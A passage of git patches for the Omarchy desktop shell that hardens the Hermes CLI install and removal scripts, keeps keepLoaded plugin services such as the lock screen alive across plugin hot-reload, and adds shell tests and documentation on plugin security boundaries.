"$HOME/.local/bin/hermes" --version >/dev/null 2>&1 } +# A flag counts only when the help defines it, not whenever it is mentioned: +# what follows must be a shape argparse prints after a definition -- the usage +# line's closing bracket, the gap before same-line help text, an uppercase +# metavar, or the end of the line. Prose like "With --tui: run ..." stays +# prose, and --tui-theme or --tui_mode never answers for --tui. Not probed by +# parsing an actual invocation on purpose: a release that ignores unknown +# arguments would turn the probe into a live session. +help_defines_flag() { + grep -qE -- "$1(]|[[:space:]][[:upper:]]|[[:space:]]{2}|$)" <<<"$2" +} + # Probed for the flags omarchy-agent actually passes -- --query to seed the # session and --tui to keep it interactive -- rather than a flag that merely # shipped alongside them: the previous marker, --oneshot, was dropped in Hermes # v0.20 and left working installs stranded as "not ready". -# -# Matched at a flag boundary, not as a substring: a bare grep for --tui also -# accepts a release that lists only --tui-theme while having dropped --tui -# itself, which would call an install ready that omarchy-agent cannot drive -- -# the same false verdict this check exists to prevent, merely inverted. hermes_prompt_ready() { local help hermes_runs && help=$(timeout 15 "$HOME/.local/bin/hermes" chat --help 2>/dev/null) && - grep -qE -- '--tui([^[:alnum:]_-]|$)' <<<"$help" && - grep -qE -- '--query([^[:alnum:]_-]|$)' <<<"$help" + help_defines_flag '--tui' "$help" && + help_defines_flag '--query' "$help" } # --owns answers whether the wrapper on PATH is the one this command wrote, so @@ -127,7 +133,17 @@ if [[ $mode == "--remove" ]]; then if ours; then mise rm -g "$tool" >/dev/null 2>&1 || true mise uninstall --all "$tool" >/dev/null 2>&1 || true - rm -f "$HOME/.local/bin/hermes" + rm -f "$HOME/.local/bin/hermes" 2>/dev/null || true + + # Every step is attempted before any is judged, and judged by what is left + # rather than by what the commands claimed: the marked stub still answering + # hermes, or mise still resolving the tool, is a CLI still installed no + # matter how the removal exited. + if ours || mise where "$tool" >/dev/null 2>&1; then + echo "Could not remove the Hermes CLI Omarchy installed." >&2 + echo "Remove ~/.local/bin/hermes and the mise tool '$tool', then run omarchy-install-hermes-cli --remove again." >&2 + exit 1 + fi fi exit 0 diff --git a/bin/omarchy-remove-ai-hermes b/bin/omarchy-remove-ai-hermes index f332dc4b..1145fbd1 100755 --- a/bin/omarchy-remove-ai-hermes +++ b/bin/omarchy-remove-ai-hermes @@ -13,7 +13,10 @@ omarchy-pkg-drop hermes-desktop # the app never superseded -- an interrupted install, or the terminal CLI from # before the app existed. Remove Hermes clears that too, scoped by the installer # to what Omarchy owns so a hermes the user set up themselves is left alone. -omarchy-install-hermes-cli --remove +# Tolerated here rather than fatal, so the ~/.hermes handling below still runs; +# the failure is answered for at the end instead of being swallowed. +cli_removed=true +omarchy-install-hermes-cli --remove || cli_removed=false # The app writes this when the runtime it provisions under ~/.hermes has landed, # and it is the only thing that tells that runtime apart from one the user @@ -64,3 +67,9 @@ else echo "Hermes Desktop has been removed." echo "It never finished installing its own Hermes, so nothing in ~/.hermes was touched." fi + +# The messages above still hold -- the app and its runtime are gone -- but a CLI +# teardown that failed already said so on stderr, and that stands. +if [[ $cli_removed == "false" ]]; then + exit 1 +fi diff --git a/test/shell.d/hermes-cli-test.sh b/test/shell.d/hermes-cli-test.sh index 69a52f61..24f8e8bc 100755 --- a/test/shell.d/hermes-cli-test.sh +++ b/test/shell.d/hermes-cli-test.sh @@ -430,12 +430,19 @@ pass "--remove is idempotent when no Hermes CLI is present" printf '%s\n' "#!/bin/bash" "$stub_marker" >"$remove_home/.local/bin/hermes" chmod +x "$remove_home/.local/bin/hermes" : >"$mise_log" -OMARCHY_TEST_MISE_WHERE_OK=1 run_remove || fail "--remove succeeds tearing down an owned CLI" +run_remove || fail "--remove succeeds tearing down an owned CLI" tr '\0' '\n' <"$mise_log" | grep -q '^rm$' || fail "--remove drops the mise tool from config" tr '\0' '\n' <"$mise_log" | grep -q '^uninstall$' || fail "--remove uninstalls the mise tool" [[ ! -e $remove_home/.local/bin/hermes ]] || fail "--remove takes the stub it owns" pass "--remove tears down the mise CLI and the stub this installer owns" +# When mise still resolves the tool after the teardown, the environment +# survived whatever uninstall claimed, and --remove has to say so. +printf '%s\n' "#!/bin/bash" "$stub_marker" >"$remove_home/.local/bin/hermes" +chmod +x "$remove_home/.local/bin/hermes" +OMARCHY_TEST_MISE_WHERE_OK=1 run_remove && fail "--remove claims success while mise still resolves the tool" +pass "--remove fails when the mise environment survives the teardown" + foreign_remove_body="#!/bin/bash exec /usr/local/bin/my-own-hermes \"\$@\"" printf '%s\n' "$foreign_remove_body" >"$remove_home/.local/bin/hermes" @@ -450,6 +457,16 @@ tr '\0' '\n' <"$mise_log" | grep -Eq '^(rm|uninstall)$' && fail "--remove never removes a mise environment it cannot prove is Omarchy's" pass "--remove leaves a Hermes the user installed themselves" +# Judged by what is left, not by what rm claimed: a stub that survives the +# teardown is a CLI still installed, and --remove has to say so. +printf '%s\n' "#!/bin/bash" "$stub_marker" >"$remove_home/.local/bin/hermes" +chmod +x "$remove_home/.local/bin/hermes" +chmod 555 "$remove_home/.local/bin" +run_remove && fail "--remove claims success while the stub survives" +chmod 755 "$remove_home/.local/bin" +rm -f "$remove_home/.local/bin/hermes" +pass "--remove fails when the stub cannot be removed" + # The app's marker says its install once landed, not that it is still there. A # wrapper whose runtime has since gone answers for nothing, so readiness runs # the command, exactly as it does for a hermes the user installed themselves. @@ -541,3 +558,19 @@ SH chmod +x "$ready_home/.hermes/hermes-agent/venv/bin/hermes" run_ready_check && fail "--check accepts flags that extend --tui/--query with an underscore" pass "an underscore continuation is not the bare flag" + +# A flag mentioned in another option's help text is not that option. Hermes +# already writes "With --tui:" into --dev's description, so prose has to stay +# prose even when both names appear in it. +cat >"$ready_home/.hermes/hermes-agent/venv/bin/hermes" <<'SH' +#!/bin/bash +if [[ ${1:-} == "chat" && ${2:-} == "--help" ]]; then + echo " --dev With --tui: run sources via tsx" + echo " --log FILE Where --query output lands" +else + echo "hermes-agent 0.0.0-test" +fi +SH +chmod +x "$ready_home/.hermes/hermes-agent/venv/bin/hermes" +run_ready_check && fail "--check accepts flags that appear only in option descriptions" +pass "a flag mentioned in prose is not a defined option" diff --git a/test/shell.d/hermes-remove-test.sh b/test/shell.d/hermes-remove-test.sh index 6045c9a1..d3389087 100755 --- a/test/shell.d/hermes-remove-test.sh +++ b/test/shell.d/hermes-remove-test.sh @@ -22,6 +22,7 @@ SH cat >"$mock_bin/omarchy-install-hermes-cli" <<'SH' #!/bin/bash printf '%s\0' "$@" >>"$OMARCHY_TEST_INSTALLER_LOG" +exit "${OMARCHY_TEST_INSTALLER_STATUS:-0}" SH chmod +x "$mock_bin"/* @@ -46,6 +47,7 @@ remove() { : >"$test_tmp/installer-log" OMARCHY_TEST_DROP_LOG="$test_tmp/drop-log" \ OMARCHY_TEST_INSTALLER_LOG="$test_tmp/installer-log" \ + OMARCHY_TEST_INSTALLER_STATUS="${OMARCHY_TEST_INSTALLER_STATUS:-0}" \ HOME="$test_home" PATH="$mock_bin:$PATH" \ bash "$ROOT/bin/omarchy-remove-ai-hermes" >/dev/null 2>&1 } @@ -131,3 +133,14 @@ remove || fail "remove succeeds with a wrapper pointing at a sibling directory" [[ -f $test_home/.local/bin/hermes && $(cat "$test_home/.local/bin/hermes") == "$sibling_body" ]] || fail "a wrapper pointing at ~/xhermes is not mistaken for one pointing into ~/.hermes" pass "removal matches the runtime path as a plain string" + +# A CLI teardown that fails must not stop the runtime handling, and must not be +# papered over either: the data work still happens, and the failure reaches the +# caller's exit code. +seed_install +printf '%s\n' "#!/bin/bash" "exec $test_home/.hermes/hermes-agent/venv/bin/hermes \"\$@\"" \ + >"$test_home/.local/bin/hermes" +OMARCHY_TEST_INSTALLER_STATUS=1 remove && fail "a failed CLI teardown surfaces in the exit code" +[[ ! -d $test_home/.hermes/hermes-agent ]] || + fail "a failed CLI teardown does not stop the runtime removal" +pass "a failed CLI teardown is reported after the runtime is handled" From d3d23fdddef846ebb98b52122a6ece66211c0daf Mon Sep 17 00:00:00 2001 From: Brian Armstrong Date: Wed, 2 Sep 2026 03:33:44 -0700 Subject: [PATCH 192/336] Honor keepLoaded for services during plugin hot-reload (#9485) * Honor keepLoaded for services during plugin hot-reload Plugin reload destroyed every service, including omarchy.lock, which drops the ext-session-lock client while Hyprland still holds the lock and surfaces the crashed-lockscreen fallback. * Prove keepLoaded service survival with a fixture service A fresh lock service also reports an empty lastEventAt, so comparing it across the rescan passed whether or not the instance survived. A fixture keepLoaded service whose in-memory marker is set before the rescan and read back after can only pass when the same instance is still mounted. Co-Authored-By: Claude Fable 5 * Drop kept services whose plugin no longer declares a service The _syncServices cleanup only asked whether the plugin was still installed and enabled, so a kept service whose plugin dropped its service kind or entry point kept running as a zombie until shell restart. Apply the same eligibility checks used at creation, and hand kept instances the refreshed manifest after a rescan. Co-Authored-By: Claude Fable 5 * Cover omarchy.media in keepLoaded expectations; note kept services reload on restart Co-Authored-By: Claude Fable 5 --------- Co-authored-by: David Heinemeier Hansson Co-authored-by: Claude Fable 5 --- docs/omarchy-shell.md | 4 +- shell/README.md | 8 +++- shell/plugins/README.md | 3 ++ shell/shell.qml | 31 +++++++++++-- test/shell.d/plugins-test.sh | 13 ++++++ test/shell.d/runtime-smoke-test.sh | 72 ++++++++++++++++++++++++++++++ 6 files changed, 122 insertions(+), 9 deletions(-) diff --git a/docs/omarchy-shell.md b/docs/omarchy-shell.md index a7c1b389..3142d991 100644 --- a/docs/omarchy-shell.md +++ b/docs/omarchy-shell.md @@ -37,9 +37,7 @@ wait). Only one full bar option is active at a time. The built-in `omarchy.bar` is used when `bar.id` is omitted or when a selected third-party bar cannot load. -Panels, overlays, and menus are loaded when summoned. Plugins can set the -top-level manifest key `keepLoaded: true` to survive between summons. -First-party services are loaded at startup. +Panels, overlays, and menus are loaded when summoned. Plugins can set the top-level manifest key `keepLoaded: true` to survive between summons, and to keep a service mounted across plugin hot-reload (so `omarchy.lock` is not destroyed while Hyprland still holds the session lock). First-party services are loaded at startup. Entry points are QML `Item`s. Panel, overlay, and menu entry points expose `open(payloadJson)` and `close()` for summon/hide; on load the host injects diff --git a/shell/README.md b/shell/README.md index e72d02ce..16162b79 100644 --- a/shell/README.md +++ b/shell/README.md @@ -86,8 +86,12 @@ Only one `bar` plugin is active at a time. Missing or invalid selections fall back to the built-in `omarchy.bar`, so users always have a safe path home. Panels, overlays, and menus are loaded when summoned. Plugins that need to outlive a single summon can set `keepLoaded: true` (e.g. the image -picker keeps its overlay window mounted between summons). First-party -services are loaded at startup. +picker keeps its overlay window mounted between summons). The same flag +keeps a service mounted across plugin hot-reload, so tearing down a +changed bar widget cannot destroy `omarchy.lock` while Hyprland still +holds the session lock. The kept instance is not replaced, so code +changes to a `keepLoaded` service itself only take effect on a shell +restart. First-party services are loaded at startup. The full schema lives in `services/PluginRegistry.qml`. diff --git a/shell/plugins/README.md b/shell/plugins/README.md index d4252515..66cb74e1 100644 --- a/shell/plugins/README.md +++ b/shell/plugins/README.md @@ -83,6 +83,9 @@ separate PAM services: `omarchy-lock-password` for password auth and, only when fingerprints are enrolled, `omarchy-lock-fingerprint` for fingerprint auth. It mirrors the previous lock screen field dimensions, colors, blurred wallpaper, placeholder, and Hyprland-driven corners. +The plugin sets `keepLoaded: true` so a plugin hot-reload (for example +an installed bar widget changing on disk) does not destroy the lock +client while Hyprland still holds the session lock. ## Polkit agent diff --git a/shell/shell.qml b/shell/shell.qml index 71a9834f..7e1cf75d 100644 --- a/shell/shell.qml +++ b/shell/shell.qml @@ -329,14 +329,23 @@ ShellRoot { if (!Array.isArray(m.kinds) || m.kinds.indexOf("service") === -1) continue if (!m.entryPoints || !m.entryPoints.service) continue if (!pluginRegistry.isEnabled(id)) continue - if (_services[id]) continue + if (_services[id]) { + // A kept instance outlives the rescan; hand it the fresh manifest. + var kept = _services[id] + if (kept && "manifest" in kept) kept.manifest = m + continue + } ensureService(id) } - // Drop services for plugins that have been disabled or removed. + // Drop services for plugins that have been disabled or removed, or that + // no longer declare a service entry point. for (var existingId in _services) { var stillThere = plugins[existingId] + var stillService = stillThere && Array.isArray(stillThere.kinds) + && stillThere.kinds.indexOf("service") !== -1 + && stillThere.entryPoints && stillThere.entryPoints.service var stillEnabled = stillThere && pluginRegistry.isEnabled(existingId) - if (stillThere && stillEnabled) continue + if (stillService && stillEnabled) continue var inst = _services[existingId] if (inst && typeof inst.destroy === "function") inst.destroy() var next = ({}) @@ -345,12 +354,26 @@ ShellRoot { } } + function serviceKeepLoaded(pluginId) { + var plugins = pluginRegistry && pluginRegistry.installedPlugins + var manifest = plugins ? plugins[pluginId] : null + return !!(manifest && manifest.keepLoaded === true) + } + + // keepLoaded services (lock, idle, polkit) must survive plugin hot-reload. + // Destroying omarchy.lock drops the ext-session-lock client while Hyprland + // still holds the lock, which surfaces the crashed-lockscreen fallback. function unloadPluginServices() { + var next = ({}) for (var existingId in _services) { + if (serviceKeepLoaded(existingId)) { + next[existingId] = _services[existingId] + continue + } var inst = _services[existingId] if (inst && typeof inst.destroy === "function") inst.destroy() } - _services = ({}) + _services = next } Connections { diff --git a/test/shell.d/plugins-test.sh b/test/shell.d/plugins-test.sh index 141b4323..5d634dc9 100644 --- a/test/shell.d/plugins-test.sh +++ b/test/shell.d/plugins-test.sh @@ -197,5 +197,18 @@ for (const [id, section] of Object.entries({ } check(byId['omarchy.media']?.barWidget?.defaultSection === undefined, 'omarchy.media must use the center fallback') +for (const id of ['omarchy.lock', 'omarchy.idle', 'omarchy.polkit', 'omarchy.notifications', 'omarchy.media']) { + check(byId[id]?.keepLoaded === true, `${id} must stay loaded across plugin reloads`) +} + +const shellSource = fs.readFileSync(path.join(root, 'shell/shell.qml'), 'utf8') +const unloadMatch = shellSource.match(/function unloadPluginServices\(\) \{[\s\S]*?\n \}/) +check(!!unloadMatch, 'unloadPluginServices is defined') +check(!!unloadMatch && /serviceKeepLoaded/.test(unloadMatch[0]), 'unloadPluginServices honors keepLoaded') +check( + /function _syncServices\(\) \{[\s\S]*Drop services for plugins that have been disabled/.test(shellSource), + '_syncServices still drops disabled or removed services' +) + assert(errors.length === 0, 'plugin manifests match shell registry contract', errors.join('\n')) JS diff --git a/test/shell.d/runtime-smoke-test.sh b/test/shell.d/runtime-smoke-test.sh index f9e52bfd..1b0e5fe9 100755 --- a/test/shell.d/runtime-smoke-test.sh +++ b/test/shell.d/runtime-smoke-test.sh @@ -74,6 +74,44 @@ Item { } QML +# A keepLoaded service must keep its instance (and in-memory state) across a +# plugin rescan. The marker below can only survive if the object does. +keep_service_id="acme.keep-service" +keep_service_dir="$test_home/.config/omarchy/plugins/$keep_service_id" +mkdir -p "$keep_service_dir" +cat >"$keep_service_dir/manifest.json" <"$keep_service_dir/Service.qml" <<'QML' +import QtQuick +import Quickshell.Io + +Item { + property string marker: "" + + IpcHandler { + target: "acme-keep" + + function set(value: string): string { + marker = value + return "ok" + } + + function get(): string { + return marker + } + } +} +QML + cat >"$stub_bin/omarchy-update-available" <<'SH' #!/bin/bash echo "Omarchy update available (test)" @@ -188,6 +226,15 @@ pass "shell IPC summon and hide contract works" jq -e '.hasPlayer | type == "boolean"' <<<"$(shell_ipc media status)" >/dev/null || fail_with_log "media IPC returns status JSON" jq -e '.enabled | type == "boolean"' <<<"$(shell_ipc idle status)" >/dev/null || fail_with_log "idle IPC returns status JSON" jq -e '.locked | type == "boolean"' <<<"$(shell_ipc lock status)" >/dev/null || fail_with_log "lock IPC returns status JSON" +[[ $(shell_ipc shell setPluginEnabled "$keep_service_id" true) == "ok" ]] || + fail_with_log "keepLoaded fixture service could not be enabled" +keep_marker_set="" +for _ in {1..80}; do + keep_marker_set=$(shell_ipc acme-keep set "survived" 2>/dev/null || true) + [[ $keep_marker_set == "ok" ]] && break + sleep 0.1 +done +[[ $keep_marker_set == "ok" ]] || fail_with_log "keepLoaded fixture service IPC responds" [[ $(shell_ipc image-selector ping) == "ok" ]] || fail_with_log "image selector IPC responds" [[ $(shell_ipc osd ping) == "ok" ]] || fail_with_log "OSD IPC responds" [[ $(shell_ipc osd show '{"message":"Runtime smoke","duration":0}') == "ok" ]] || fail_with_log "OSD IPC opens" @@ -215,6 +262,31 @@ shell_ipc_quiet image-selector cancel "$selector_done_file" >/dev/null rm -f "$selector_selection_file" "$selector_done_file" pass "image selector IPC survives plugin rescan" +lock_status_after=$(shell_ipc lock status) +jq -e '.locked | type == "boolean"' <<<"$lock_status_after" >/dev/null || fail_with_log "lock IPC survives plugin rescan" +lock_event_after=$(jq -r '.lastEvent // empty' <<<"$lock_status_after") +[[ $lock_event_after != lock-stranded* ]] || + fail_with_log "plugin rescan does not strand the session lock ($lock_event_after)" +# A recreated instance would answer with a fresh, empty marker. +[[ $(shell_ipc acme-keep get) == "survived" ]] || + fail_with_log "plugin rescan keeps the keepLoaded service instance mounted" +pass "keepLoaded service instance survives plugin rescan" + +# Dropping the service entry point from the manifest must drop the kept +# instance instead of leaving a zombie behind. +jq 'del(.keepLoaded) | .kinds = ["overlay"] | .entryPoints = {"overlay": "Service.qml"}' \ + "$keep_service_dir/manifest.json" >"$keep_service_dir/manifest.json.tmp" +mv "$keep_service_dir/manifest.json.tmp" "$keep_service_dir/manifest.json" +keep_gone="" +for _ in {1..80}; do + keep_gone=$(shell_ipc acme-keep get 2>/dev/null || true) + [[ $keep_gone != "survived" ]] && break + sleep 0.1 +done +[[ $keep_gone != "survived" ]] || + fail_with_log "kept service is dropped when its plugin stops declaring a service" +pass "kept service is dropped when its plugin stops declaring a service" + shell_ipc_quiet omarchy.system-update refresh >/dev/null 2>&1 || true sleep 0.8 From 21470fd1eacd8c41d26ab018923a732ae0e61528 Mon Sep 17 00:00:00 2001 From: Spencer Bull Date: Wed, 2 Sep 2026 09:40:44 -0500 Subject: [PATCH 193/336] Say how to finish a failed teardown, and record the probe's real history A failed --remove told the user to run it again, but that advice could never work: rm -f has usually taken the marked stub by the time the failure is judged, and a rerun that finds nothing it owns succeeds without touching the mise environment it was asked to finish removing. Spell out the three commands that complete the job by hand instead. Also correct the story the probe comment told: chat never lost --oneshot in v0.20 -- no released Hermes defined it there. It lived at the top level until v0.21 added chat's own, so the old probe was keyed to a flag no release ever carried under chat, and every install read as not ready. Recorded straight so a future hermes-desktop bump to v0.21+, which would make the old probe pass on the desktop path alone, cannot read as the fix. Findings from omarchybot's review (Opus 5, with Codex at xhigh). Co-Authored-By: Claude Opus 5 Co-Authored-By: Claude --- bin/omarchy-install-hermes-cli | 16 +++++++++++----- test/shell.d/hermes-cli-test.sh | 4 ++-- 2 files changed, 13 insertions(+), 7 deletions(-) diff --git a/bin/omarchy-install-hermes-cli b/bin/omarchy-install-hermes-cli index 35405269..4f4b99d7 100755 --- a/bin/omarchy-install-hermes-cli +++ b/bin/omarchy-install-hermes-cli @@ -100,9 +100,10 @@ help_defines_flag() { } # Probed for the flags omarchy-agent actually passes -- --query to seed the -# session and --tui to keep it interactive -- rather than a flag that merely -# shipped alongside them: the previous marker, --oneshot, was dropped in Hermes -# v0.20 and left working installs stranded as "not ready". +# session and --tui to keep it interactive -- rather than a marker standing in +# for them: the old probe keyed on chat carrying --oneshot, which no released +# Hermes did (it lived at the top level until v0.21 added chat's own), so +# every release read as "not ready". hermes_prompt_ready() { local help hermes_runs && @@ -139,9 +140,14 @@ if [[ $mode == "--remove" ]]; then # rather than by what the commands claimed: the marked stub still answering # hermes, or mise still resolving the tool, is a CLI still installed no # matter how the removal exited. + # Not "run --remove again": once the stub is gone nothing marks the mise + # environment as ours, so a rerun would find nothing it owns and succeed + # without touching what was left. Only the full commands finish the job. if ours || mise where "$tool" >/dev/null 2>&1; then - echo "Could not remove the Hermes CLI Omarchy installed." >&2 - echo "Remove ~/.local/bin/hermes and the mise tool '$tool', then run omarchy-install-hermes-cli --remove again." >&2 + echo "Could not remove the Hermes CLI Omarchy installed. Finish by hand:" >&2 + echo " rm -f ~/.local/bin/hermes" >&2 + echo " mise rm -g '$tool'" >&2 + echo " mise uninstall --all '$tool'" >&2 exit 1 fi fi diff --git a/test/shell.d/hermes-cli-test.sh b/test/shell.d/hermes-cli-test.sh index 24f8e8bc..1cf033ab 100755 --- a/test/shell.d/hermes-cli-test.sh +++ b/test/shell.d/hermes-cli-test.sh @@ -499,8 +499,8 @@ chmod +x "$ready_home/.hermes/hermes-agent/venv/bin/hermes" run_ready_check || fail "--check accepts the app's wrapper once it runs" pass "readiness runs the app's command rather than trusting its marker" -# A release whose help lists only the retired --oneshot marker cannot run the -# seeded --tui --query session omarchy-agent starts, so it is not ready. +# A release whose help lists only the old probe's --oneshot marker cannot run +# the seeded --tui --query session omarchy-agent starts, so it is not ready. cat >"$ready_home/.hermes/hermes-agent/venv/bin/hermes" <<'SH' #!/bin/bash if [[ ${1:-} == "chat" && ${2:-} == "--help" ]]; then From 094c913065315082c0cbf353a169c0245779c427 Mon Sep 17 00:00:00 2001 From: acrogenesis Date: Wed, 2 Sep 2026 11:03:03 -0600 Subject: [PATCH 194/336] Tighten replacement bar plugin boundaries MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Reported-by: Roger Piñol --- agents/skills/shell-dev.md | 2 +- docs/omarchy-shell.md | 6 +- manual/32-shell-plugins.md | 4 +- shell/README.md | 6 +- shell/Ui/PluginBarApi.qml | 3 +- shell/plugins/bar/Bar.qml | 10 +- shell/services/PluginRegistry.qml | 3 +- shell/services/PluginShellApi.qml | 10 +- shell/shell.qml | 38 ++++- .../fixtures/plugin-auth-boundary/shell.qml | 1 + test/shell.d/plugin-auth-boundary-test.sh | 14 ++ test/shell.d/runtime-smoke-test.sh | 133 ++++++++++++++++++ 12 files changed, 206 insertions(+), 24 deletions(-) diff --git a/agents/skills/shell-dev.md b/agents/skills/shell-dev.md index 59cc4e8b..1688c0f1 100644 --- a/agents/skills/shell-dev.md +++ b/agents/skills/shell-dev.md @@ -20,7 +20,7 @@ Run `omarchy-restart-shell` after making changes to QML files. [`docs/omarchy-shell.md`](../../docs/omarchy-shell.md) and `shell/services/PluginRegistry.qml` for the current contract; fields such as `activation` are optional. -- Entry-point QML files are `Item`s (not `ShellRoot`), and accept the shell-injected properties `omarchyPath`, `shell`, `manifest`, and `pluginRegistry` / `barWidgetRegistry` as appropriate. First-party plugins receive the host objects. Third-party plugins receive capability-scoped facades: ordinary plugins may look up and control only their own service and lifecycle, menu plugins receive an application-library facade, and plugins can read detached scalar bar state; full-bar plugins additionally receive detached bar configuration and widget-catalog snapshots, narrow proxies for the non-authentication services used by built-in bar widgets, and lifecycle control over configured non-authentication UI plugins. Authentication capabilities must be stamped from trusted first-party manifests, and third-party registry views must be detached snapshots rather than shared objects. Do not expose host objects or authentication services through new third-party-facing properties. +- Entry-point QML files are `Item`s (not `ShellRoot`), and accept the shell-injected properties `omarchyPath`, `shell`, `manifest`, and `pluginRegistry` / `barWidgetRegistry` as appropriate. First-party plugins receive the host objects. Third-party plugins receive capability-scoped facades: ordinary plugins may look up and control only their own service and lifecycle, menu plugins receive an application-library facade, and plugins can read detached scalar bar state; full-bar plugins additionally receive detached bar configuration and widget-catalog snapshots, narrow proxies for the non-authentication services used by built-in bar widgets, and lifecycle control over configured non-authentication UI plugins. Authentication capabilities must be stamped from trusted first-party manifests, and third-party registry views and bar configuration must be detached snapshots rather than shared objects. These facades reduce accidental authority but are not a same-process QML sandbox: a visual bar widget can walk its parent hierarchy to ordinary host objects. Authentication services must therefore remain outside both `ShellRoot._services` and the host QObject tree. Do not expose authentication services through new third-party-facing properties. - Panel / overlay / menu plugins must expose `open(payloadJson)` and `close()` lifecycle methods for `shell summon` and `shell hide`. diff --git a/docs/omarchy-shell.md b/docs/omarchy-shell.md index 52706d0f..cc0cc17b 100644 --- a/docs/omarchy-shell.md +++ b/docs/omarchy-shell.md @@ -39,7 +39,9 @@ Only one full bar option is active at a time. The built-in `omarchy.bar` is used when `bar.id` is omitted or when a selected third-party bar cannot load. Panels, overlays, and menus are loaded when summoned. Plugins can set the top-level manifest key `keepLoaded: true` to survive between summons, and to keep a service mounted across plugin hot-reload (so `omarchy.lock` is not destroyed while Hyprland still holds the session lock). First-party services are loaded at startup. -Entry points are QML `Item`s. Panel, overlay, and menu entry points expose `open(payloadJson)` and `close()` for summon/hide; on load the host injects `omarchyPath`, `shell`, `manifest`, and the registries (`pluginRegistry` / `barWidgetRegistry`) as properties. Built-in plugins receive the trusted host objects. Third-party plugins receive capability-scoped facades instead: ordinary plugins may look up and control only their own service and lifecycle, menu plugins receive an application-library facade, and plugins can read detached scalar bar state. A full-bar plugin additionally receives detached bar configuration and widget-catalog snapshots, narrow proxies for the non-authentication services used by built-in bar widgets, and lifecycle control over configured non-authentication UI plugins. Authentication capabilities are stamped from trusted first-party manifests, authentication services are kept out of the host's public service map and QML object tree, and third-party registry snapshots can be changed only locally without mutating the host registries. +Entry points are QML `Item`s. Panel, overlay, and menu entry points expose `open(payloadJson)` and `close()` for summon/hide; on load the host injects `omarchyPath`, `shell`, `manifest`, and the registries (`pluginRegistry` / `barWidgetRegistry`) as properties. Built-in plugins receive the trusted host objects. Third-party plugins receive capability-scoped facades instead: ordinary plugins may look up and control only their own service and lifecycle, menu plugins receive an application-library facade, and plugins can read detached scalar bar state. A full-bar plugin additionally receives detached bar configuration and widget-catalog snapshots, narrow proxies for the non-authentication services used by built-in bar widgets, and lifecycle control over configured non-authentication UI plugins. Authentication capabilities are stamped from trusted first-party manifests, authentication services are kept out of the host's public service map and QML object tree, and third-party registry/configuration snapshots can be changed only locally without mutating host state. The facades are API boundaries, not same-process QML sandboxes: a visual widget shares the host bar's scene and can walk its parent hierarchy to ordinary host objects. Sensitive state must not rely on the facade alone for isolation. + +A third-party replacement bar can render registered widget components, but widgets it hosts receive a service-less entry facade. Allowing the bar to manufacture an own-service facade for an arbitrary widget would also let it retrieve that plugin's live service object. Service-backed third-party widgets therefore retain their full integration only under the trusted built-in bar; a replacement bar may still provide their target-scoped lifecycle and settings operations. Full schema: [`shell/services/PluginRegistry.qml`](../shell/services/PluginRegistry.qml). @@ -76,7 +78,7 @@ one replaces the active bar, and it is therefore never offered under Disable. Bar widgets may set `barWidget.defaultSection` to `left`, `center`, or `right`; widgets that omit it default to `center`. -Plugins run as **unsandboxed code** inside `omarchy-shell`. Adding warns you before cloning, plugins land disabled so you can review the code before `omarchy plugin enable`, and updates show a diff before touching anything. Commands confirm in a terminal even when given arguments; without one they refuse rather than guess. Add `--yes` to skip every prompt (the path for scripts and agents). The scoped QML interfaces protect shell-owned credentials and cross-plugin controls; they are not an operating-system sandbox, so plugin code still has the same user-level file and process access as the shell. +Plugins run as **unsandboxed code** inside `omarchy-shell`. Adding warns you before cloning, plugins land disabled so you can review the code before `omarchy plugin enable`, and updates show a diff before touching anything. Commands confirm in a terminal even when given arguments; without one they refuse rather than guess. Add `--yes` to skip every prompt (the path for scripts and agents). The scoped interfaces remove direct access to authentication services and avoid handing generic cross-plugin service factories to replacement bars, but visual plugins can still traverse ordinary objects in their shared QML scene. Plugin code also has the same user-level file and process access as the shell. You can still install by hand: drop a plugin into `~/.config/omarchy/plugins//`, run `omarchy-shell shell rescanPlugins`, then diff --git a/manual/32-shell-plugins.md b/manual/32-shell-plugins.md index bf7f1f2d..2e349998 100644 --- a/manual/32-shell-plugins.md +++ b/manual/32-shell-plugins.md @@ -37,7 +37,9 @@ A third-party plugin is just a git repo with a `manifest.json` at its root. omarchy plugin add https://github.com/acme/omarchy-weather.git --enable ``` -Before it does anything, it tells you plainly that plugins run as arbitrary, unsandboxed code inside your long-lived shell process, shows you the URL, and asks you to confirm. Take that seriously. The shell does not expose its authentication state or raw host object tree through the third-party plugin interface. A replacement bar receives additional limited capabilities so it can render built-in widgets and orchestrate the configured non-authentication UI, but it still cannot reach authentication services. This is not an operating-system sandbox: plugin code still runs for as long as your session does, with everything your user account can reach. Only add repos you're willing to run, and read them before you enable them. +Before it does anything, it tells you plainly that plugins run as arbitrary, unsandboxed code inside your long-lived shell process, shows you the URL, and asks you to confirm. Take that seriously. The third-party plugin interface does not directly expose authentication services, and a replacement bar receives only limited capabilities for configured non-authentication UI. Visual plugins still share the shell's QML scene and can walk ordinary parent objects, while all plugin code runs with everything your user account can reach. Authentication state is protected separately by keeping those services outside the reachable host object graph. Only add repos you're willing to run, and read them before you enable them. + +A replacement bar can render installed widgets, but service-backed third-party widgets may have reduced functionality there because the bar is not allowed to request another plugin's live service object. Switch back to the built-in `omarchy.bar` if such a widget needs its companion service. Then it clones the repo into a staging directory, validates the manifest, refuses the install if another plugin already claims that id, and moves it into `~/.config/omarchy/plugins//`. Without `--enable` it asks whether you want it on now, and you can say no and go read the code first. It never runs anything from the plugin, never executes an install hook, and never asks for sudo — it clones files, checks the manifest, and flips a bit over IPC. diff --git a/shell/README.md b/shell/README.md index d5b50290..a2bc5338 100644 --- a/shell/README.md +++ b/shell/README.md @@ -93,7 +93,9 @@ holds the session lock. The kept instance is not replaced, so code changes to a `keepLoaded` service itself only take effect on a shell restart. First-party services are loaded at startup. -Entry points may declare `omarchyPath`, `shell`, `manifest`, `pluginRegistry`, and `barWidgetRegistry` properties for host injection. Built-in plugins receive the trusted host objects. Third-party plugins receive capability-scoped facades: ordinary plugins can look up and control only their own service and lifecycle, menu plugins receive an application-library facade, and plugins can read detached scalar bar state. A full-bar plugin additionally receives detached bar configuration and widget-catalog snapshots, narrow proxies for the non-authentication services used by built-in bar widgets, and lifecycle control over configured non-authentication UI plugins. Authentication capabilities are stamped from trusted first-party manifests, authentication services are retained outside the host's public service map and QML object tree, and changing a third-party registry snapshot cannot mutate the host registry. +Entry points may declare `omarchyPath`, `shell`, `manifest`, `pluginRegistry`, and `barWidgetRegistry` properties for host injection. Built-in plugins receive the trusted host objects. Third-party plugins receive capability-scoped facades: ordinary plugins can look 